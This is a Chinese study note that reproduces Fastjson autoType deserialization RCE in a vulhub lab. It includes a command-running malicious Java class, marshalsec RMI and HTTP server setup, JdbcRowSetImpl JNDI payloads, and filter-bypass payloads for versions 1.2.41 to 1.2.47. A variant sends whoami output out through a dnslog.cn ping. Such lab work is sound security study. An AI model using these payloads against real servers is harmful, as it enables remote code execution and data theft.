FastJson遠程命令執行漏洞學習筆記

FastJson遠程命令執行漏洞學習筆記

Fastjson簡介

fastjson用於將Java Bean序列化為JSON字元串,也可以從JSON字元串反序列化到JavaBean。fastjson.jar是阿里開發的一款專門用於Java開發的包,可以方便的實現json對象與JavaBean對象的轉換,實現JavaBean對象與json字元串的轉換,實現json對象與json字元串的轉換。

fastjson是java的一個庫,可以將java對象轉化為json格式的字元串,也可以將json格式的字元串轉化為java對象,提供了 toJSONString() 和 parseObject() 方法來將 Java 對象與 JSON 相互轉換。調用toJSONString方 法即可將對象轉換成 JSON 字元串,parseObject 方法則反過來將 JSON 字元串轉換成對象。

 //將字元串轉化為對象
 JSONObject obj=JSON.parseObject(jsonStr);

JavaBean:

JavaBean 是特殊的 Java 類,使用 Java 語言書寫,並且遵守 JavaBean API 規範。JavaBean的特徵:

  • 提供一個默認的無參構造函數。

  • 需要被序列化並且實現了 Serializable 介面。

  • 可能有一系列可讀寫屬性。

  • 可能有一系列的 getter 或 setter 方法。

Fastjson遠程命令執行漏洞原理

Fastjson在解析json的過程中,支援使用autoType來實例化某一個具體的類,並用該類的set/get方法來訪問屬性。

其在反序列化的時候,會進入parseField方法,進入該方法後,就會調用setValue(object,value)方法,會將獲取到的數組對象,賦予到@type class中的對應屬性中。(在後面構造poc的時候詳細說)在這裡,就可能執行構造的惡意程式碼。從而造成程式碼執行。

通俗理解:漏洞利用fastjson autotype在處理json對象的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並調用危險類中連接遠程主機,通過其中的惡意類執行程式碼。攻擊者通過這種方式,可以實現遠程程式碼執行漏洞的利用,獲取伺服器的敏感資訊泄露,甚至可以利用此漏洞進一步對伺服器數據進行更改,增加,刪除等操作,對伺服器造成巨大影響。

環境準備

1、安裝docker

 sudo apt update
 sudo apt install -y docker.io
 dockesystemclt enable docker --now
 sudo apt install docker-compose

2、安裝vulhub

github下載,解壓進入fastjson->1.2.24rce文件夾在這裡打開終端(cd也行)

 sudo docker-compose build
 sudo docker-compose up -d

3、配置java8

下載java8

//www.oracle.com/java/technologies/downloads/

 

 mkdir /opt/java
 tar zxvf jdk8u341-linux-x64.tar.gz
 
 vim /etc/profile
  末尾添加:
  export JAVA_HOME=/opt/java/jdk1.8.0_341
  export JRE_HOME=/opt/java/jdk1.8.0_341
  export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
  export PAHT=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
 source /etc/profile
 
 java -version
 顯示版本即配置成功

4、下載marshalsec

 git clone //github.com/mbechler/marshalsec.git

5、安裝maven

下載maven

 apt-get install maven

使用maven編譯marshalsec成jar包

 cd marshalsec
 mvn clean package -DskipTests

漏洞復現

fastjson1.2.24-rce

靶機kali :192.168.255.130 攻擊機kali: 192.168.255.130

這裡也可以用兩個不同機器

開啟fastjson漏洞

 sudo docker-compose up -d
 這裡是因為之前我已經開過了

 

訪問靶機,可以看到json格式的輸出

 

執行下面這條命令,使用 curl命令模擬json格式的POST請求,返回json格式的請求結果,沒報404,正常情況下說明存在該漏洞。

curl //192.168.255.130:8090/ -H "Content-Type: application/json" --data '{"name":"xmp", "age":405}'

還可以通過burp抓包,post一個非json格式的數據,看報錯情況(但是這裡我沒有成功,暫時沒找到原因借用一下網圖)

 

編譯一個惡意類,這裡其實需要注意一下,有的kali許可權受限,不會執行commonds中的命令,比如這裡的這個如果沒有root許可權的話就執行不了,導致沒有結果。後面在加一個普通許可權即可有結果回顯的。

//fjsonxmp.java
import java.lang.Runtime;
import java.lang.Process;

public class fjsonxmp {

static {

try {
//運行時,是一個封裝了JVM進程的類。每一個JAVA程式實際上都是啟動了一個JVM進程,那麼每一個進程都是對應這一個Runtime實例,其實例是由JVM為其初始化的。

Runtime rt = Runtime.getRuntime();//取得Runtime類的實例

String[] commonds = {"touch", "/tmp/zcctest"};
//定義要執行的命令字元串

Process pc = rt.exec(commonds);
//exec是執行本機的命令,它的返回值是一個進程,故用process 一個實例來接收,

pc.waitFor();
//返回該Process對象代表的進程的出口值

} catch (Exception e) {
//do nothing
}

}
}

然後,這裡是把文件變為class位元組的,在JVM虛擬機中執行

javac fjsonxmp.java

 

搭建http服務傳輸惡意文件

python2
python -m SimpleHTTPServer 80

python3
python -m http.server 80

 

開啟RMI服務

cd marshalsec

cd target

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "//192.168.255.130/#fjsonxmp" 9999

 

 

 

使用burp抓包,並寫入poc

poc

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.255.130:9999/opt/fjsonxmp",
"autoCommit":true
}
}
fastjson序列化的時候,會把原始類型記錄下來
序列化後的字元串中添加@type屬性,存放對象類型
首先我們找到需要調用的類com.sun.rowset.JdbcRowSetImpl,這個類一定會被載入
被攻擊的伺服器拿到這個惡意的數據就找rmi伺服器去執行命令
這個rmi伺服器相當於請求80埠伺服器中的fjsonxmp.class
從rmi請求中得到命令touch /tmp/zcctest
然後被攻擊的伺服器就回去執行命令
這裡舉個小例子來幫助理解

class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}
class Banana implements Fruit {
private Big_Decimal price;
//省略 setter/getter/toString等
}

這兩個類在傳輸的時候 json格式是這樣的
"Fruit":{
price:50
}
這裡只說明了一個Fruit的price為50,可是卻不知道傳輸的是Banana還是Apple。這是利用autoType
添加@type欄位來存放對象類型
"Fruit":{
@type:Apple
price:50
}
假設這樣傳輸,就可以明確是Apple的price為50.

我們在找到需要調用的類:com.sun.rowset.JdbcRowSetImpl 這個類一定會被讀取載入 他就相當於Apple
dataSourceName 他就相當於 price對於Apple的情況。

 

 

這裡可以看到rmi 和 80 http服務 都收到了請求。但是因為沒許可權執行,所以沒有回顯結果。文件未創建。

利用dnslog來回顯結果

修改惡意類

import java.lang.Runtime;
import java.lang.Process;

public class fjsonxmp {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commonds = {"/bin/sh","-c","ping user.'whoami'.bjdbwl.dnslog.cn"};

Process pc = rt.exec(commonds);

pc.waitFor();

} catch (Exception e) {
//do nothing
}

}
}

 

 

可以看到有請求

 

成功回顯,達到遠程任意指令執行。

fastjson1.2.41-rce

fastjson在載入到過程中,會在載入類的時候去掉className前面的L和最後的;,所以就有了如下的poc:

{
"b":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

從而湊出com.sun.rowset.JdbcRowSetImpl

fastjson1.2.42-rce

由於上一個版本只只過濾了L;,所以又可以通過雙寫繞過

{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

fastjson1.2.43-rce

上一個版本中雙寫L和; 被繞過,所有又增加了一個是否以LL未開頭判斷,繞過的方法是在`目標類前面添加[

poc:

{
"b":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}

fastjson1.2.47-rce

因為從1.2.45開始autotype是默認關閉的,因為之前開啟一直出現漏洞,但是關閉他也出現了。

因為來fastjson中有一個全局快取,在類載入的時候,

  1. 如果autoType沒開啟,會先嘗試從mapping快取中獲取目標類,如果快取中有,則直接返回進入之後的反序列化流程。

  2. 如果autoType開啟,因為typeName為java.lang.Class不在黑名單,成功繞過檢測被解析為Class類型。

java.lang.Class在快取中肯定有,該類對應的deserializer為MiscCodec,反序列化時會取json串中的val值並載入這個val對應的類Class到全局快取中。

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://xx.x.xx.xx:9999/poc",
"autoCommit": true
}
}

 

總結

fastjson的漏洞其實就是fastjson autotype在處理json對象的時候,未對@type欄位進行完全的安全性驗證,攻擊者可以傳入危險類,並調用危險類中連接遠程主機,通過其中的惡意類執行程式碼。

 

 

筆記只做學習記錄分享。如有錯誤,請大家批評指正!

文章內容多來於

//www.freebuf.com/articles/web/283585.html

//www.freebuf.com/vuls/276512.html

如有侵權立刪。